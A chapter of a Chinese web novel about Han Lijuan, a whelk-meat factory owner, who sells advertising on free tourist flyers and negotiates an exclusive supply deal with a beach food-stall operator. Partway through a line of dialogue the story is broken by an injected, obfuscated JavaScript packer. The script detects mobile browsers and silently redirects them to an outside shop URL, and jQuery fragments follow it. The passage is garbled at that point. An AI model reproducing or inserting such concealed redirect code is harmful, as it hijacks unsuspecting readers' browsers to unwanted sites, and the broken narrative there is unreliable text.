“准备印多少张？”他问。


    “初始计划2000张，如果有效果，加印3000张。”韩丽娟说。


    “一千块钱。”杨经理一边点头，一边说。“行，我要第一的位置，别人加价也不能让给他哦！”


    “这您放心，我又不是靠卖广告赚钱的。”韩丽娟说。


    “我看你就算不卖波螺肉，卖广告也能发家。”杨经理夸一句。


    “谢谢您，您忙，我还要去剩下几家客户那里，就不多打扰了。”韩丽娟收回传单，走了。


    “行。”送走韩丽娟，杨经理叫来后厨跟前台负责人。“咱们今年试着增加一些适合夏季吃的波螺肉类的菜品，厨房这边研究一下，最近前台接待客人的时候，推荐及看看大家的反馈，挑选出两到三款，在旅游季做主推款。”


    未雨绸缪，杨经理想，如果韩丽娟真的能带动游客吃香波螺肉，那他乘着这股东风，多赚一点。如果不行，也不赔什么，菜品创新，本就是日常该做的。


    “最实用的滨海旅游地图，免费发放，有需要的吗？”滨海火车站，韩丽娟带着销售，发了5天传单了。


    每天300单，发完就停。


    发到第三天，他们摸索出一些要点，一些地区的车，主要是打工人往返，对这个不感兴趣。而另一些地区的车，明显就是旅游闲逛为主，对她的传单，很感兴趣，她喊出来，很多人会主动索要。


    因此，他们也不整天待在火车站，重点关注几个地点的列车，每天很快发完。


    “娟子，那边忙不忙，不忙回厂子一趟，有急事。”韩丽娟发完传单，刚刚回到销售办事处，就接到姜美凤的电话。


    “我回厂里一趟，不知道明天能不能回来，你们按照这两天咱们发传达的规律，每天500份，接着发哈。”临走前，她不忘安排销售。


    “美凤姨，怎么了？”韩丽娟回到厂里，找到姜美凤。


    “今天上午接到一个电话，对方说看到你的广告，想找你面谈，我约他明天上午过来，他说是什么浴场的。”


    “好，我知道了。”韩丽娟点头。


    海滨浴场？


    韩丽娟思索，对方需要她的产品做什么？


    ……


    “你好，你好，是韩总吧，真年轻啊！”第二天，韩丽娟见到这个客户。


    一个四十岁左右，头发略秃，有些发福的中年男人，穿着随意，笑容满面。自己开着一辆桑塔纳就过来了，下了车，看见韩丽娟站在厂子门口，夹着包，伸着手，就过来了。


    “您好，我是韩丽娟，当不得总不总的，因为一开始就是以厂长的名义出去谈客户，久而久之，大家都叫我韩厂长，跟名字差不多，您贵姓？”


    “免贵姓潘，潘贵，大家平时都叫我老潘，韩总也这么称呼就好，我听着习惯。”


    “您好，老潘。”韩丽娟改口。


    “哈哈哈，好好好，韩厂长，我打听过你，是这个！”潘贵快人快语，边说边竖起大拇指。


    “您夸奖，我努力。”韩丽娟一边将潘贵领进厂子，一边交谈。


    韩丽娟先是带着潘贵在厂子里转了一圈，又拿了厂里的产品，回到会议室。


    “不错，不错。”潘贵对这个工厂挑不出啥毛病。“我听说韩厂长成立了一个联合会，县里几乎所有的波螺肉生产厂家都是你们联合会的人，他们生产的产品也在你这里打包、出售。”


    潘贵在这个圈子里也是有人脉的，关注到韩丽娟的产品后，他开始研究哪里有合适的厂家，周边县城，靠海，离市里近的，只有韩丽娟他们县，而他细细打听，才知道，整个县的波螺肉产品，几乎都控制在韩丽娟一个人手里。


    “大家卖不出去，我帮着卖一卖。”潘贵能打听到这些，韩丽娟并不惊讶，从刚刚下车，韩丽娟就知道，对方有备而来。


    “那他们的产品，跟你们厂的一样？卫生条件呢？”潘贵接着问。


    “您刚刚看到，我们有专门的质检人员，保证回收回来的产品质量。同时，我这边会每天安排人员对各个作坊的卫生条件进行检查，您稍等。”韩丽娟说着，去到隔壁办公室拿来检查表。“这些是最近一个月的检查记录，这是我的抽查记录。”


    她递给潘贵两份检查表。


    “而且所有我收回来的产品，原材料也都是由我提供的，所以，不存在原材料上的差别。”韩丽娟接着说。


    “昨天我厂里人接到您的电话，说您是做浴场的？”


    潘贵听着韩丽娟的话，看过检查表，又拿起产品在研究，韩丽娟则想知道，对方到底是做什么的。


    为什么需要她的产品。


    “是在浴场里做些生意。”潘贵问。“你知道大排档吗？”


    韩丽娟点头，这个她还真知道，去年夏天，在海边看到过。“我知道，所以，您是做大排档的。”


    “对！”潘贵点头。“市里几乎所有适合游玩的海岸，都有我的大排档。”


    “所以，您是怎么知道我们厂子？”韩丽娟一听，暗暗咋舌，合着人家也是连锁的，怪不得开着轿车。


    “哈哈哈，你看我，忘记了。”潘贵从包里拿出一张折页广告单，递给韩丽娟。“这是你们厂发的吧。”


    因为找到赞助商，韩丽娟把传单精进了一下，变成折页的。


    “最近，来我这吃饭的客人，有好几个人手里拿着这个折页研究去哪玩，去哪吃，哪个酒店能住人，有没有空房。还有人跟我打听香波螺，我就好奇，研究你这广告，哈哈哈，后来，打听到他们是在火车站接到的传单，我还特意去接了一张。”


    潘贵看到这张传单的第一眼，就觉得研究这个传单的人聪明，知道整合信息。滨海作为旅游城市，各大报停都有卖旅游地图的，但韩丽娟这个不要钱啊，而且这上面不仅有玩的地方，还有吃饭住宿的地方。


    而第二眼，就想，为啥上面没有自己大排档的广告。他的铺面虽然规模比不上酒店，但营业额可不比这些酒店差，这个老杨，折腾这些，竟然不告诉他。等他再仔细研究，发现这应该不是几个酒店联合起来搞的广告，是这个韩丽娟香波螺肉搞的，不出意外，这几个酒店都是她的客户，这是推广产品，同时推销客户。


    当时，他就按照这上面的信息，找到老杨，老杨哈哈大笑，告诉他韩丽娟的一些信息。


    “是我


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17322102|195029||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    。”韩丽娟承认，原来广告真的有用！


    “厉害呀。”潘贵又夸了一句。“所以，韩厂长，咱们开门见山，我呢，今天来主要是两件事，一，谈谈产品，二，谈谈广告！咱们先说产品，你的产品我看了，很好，而且你合作的作坊，我听了你的描述，你管理的很好，我十分信任，你说价格，多少钱一斤？”


    潘贵这个人，性格直爽，既然步入正题，那就直抒胸臆。


    韩丽娟也不扭捏，举起自己的产品，“您用的是带包装的还是不带包装的？”她虽然这样问，但却没有等潘贵的回答，而是接着说。“不带外包装的普通类产品，9块5毛钱一斤，您这半年销量达到2000斤，按照9块3毛钱一斤计算，每多500斤，每斤便宜一毛钱，最低8块8毛一斤。带外包装的普通类产品，半年销量2000斤以下，10块2毛钱一斤，2000斤到3000斤，9块9毛钱一斤，3000斤以上，9块5毛钱一斤。优等品目前没有带外包装的，一斤价格是13块5毛钱，可以提供125克，250克的小克重分装。所有产品，送货上门。”


    “我要不带外包装的，主要是普通品。我不讲价，但我有两个条件，第一，海边大排档，我要独家，二，我要在我的的摊位悬挂——本店有售韩丽娟香波螺肉。”潘贵没有纠结在价格上，海边的东西没有便宜的，韩丽娟卖的贵，也没有他的贵。


    他之所以找韩丽娟合作，是游客找韩丽娟香波螺肉，他花了钱，就要物尽其用。以他商人的敏锐度，这个即将到来的夏天，韩丽娟香波螺肉会在游客心里打响知名度。


    “独家可以，但销量必须在2000斤以上，如过有需要，我可以给您一份证明。”韩丽娟同意。“但需要您跟我签订订货合同，并先行支付一定比例的货款。”


    “完全可以。”潘贵认同。“第二，那个传单，你就说，啥条件。”


    “一张8分钱。”韩丽娟说。


    “就这？”潘贵有些意外都，他以为必须销量领先的呢。那他后来者，没有累计，怎么也抢不过老主顾。


    “对，我起初就是觉得，这个传单的费用太高，一个人承受不住，联合我的客户一起，根据位置收费，您这边来得晚，只能排在最后。”


    韩丽娟解释，潘贵一听，哈哈大笑。“你天生就是做生意的料。”


    俩人又谈了很多细节的问题，全部讨论完，潘贵离开。“韩厂长，过两天来我的大排档，让你尝尝我用香波螺做的产品，我跟你说，地道滨海味，还是大排档，老杨他们的酒店，就是看着高端，味道跟我没得比。”


    “您这么说，可勾起我的好奇心，我一定去尝尝。”韩丽娟说。


    “韩厂长，我还有一个问题，有一些人明明没有接到传单，怎么也会打听你家的产品。”临上车前，潘贵没忍住，又道。


    这几天，不仅仅有传单的问他，没传单的也嘟囔着，来滨海旅游，吃韩丽娟香波螺肉，仿佛吃不到很遗憾一般。


    正因为如此，他才急忙的要找韩丽娟。


    “您早晚知道，我先卖个关子！”韩丽娟一笑，没有说出答案。


    答案太简单，还是让人猜有意思。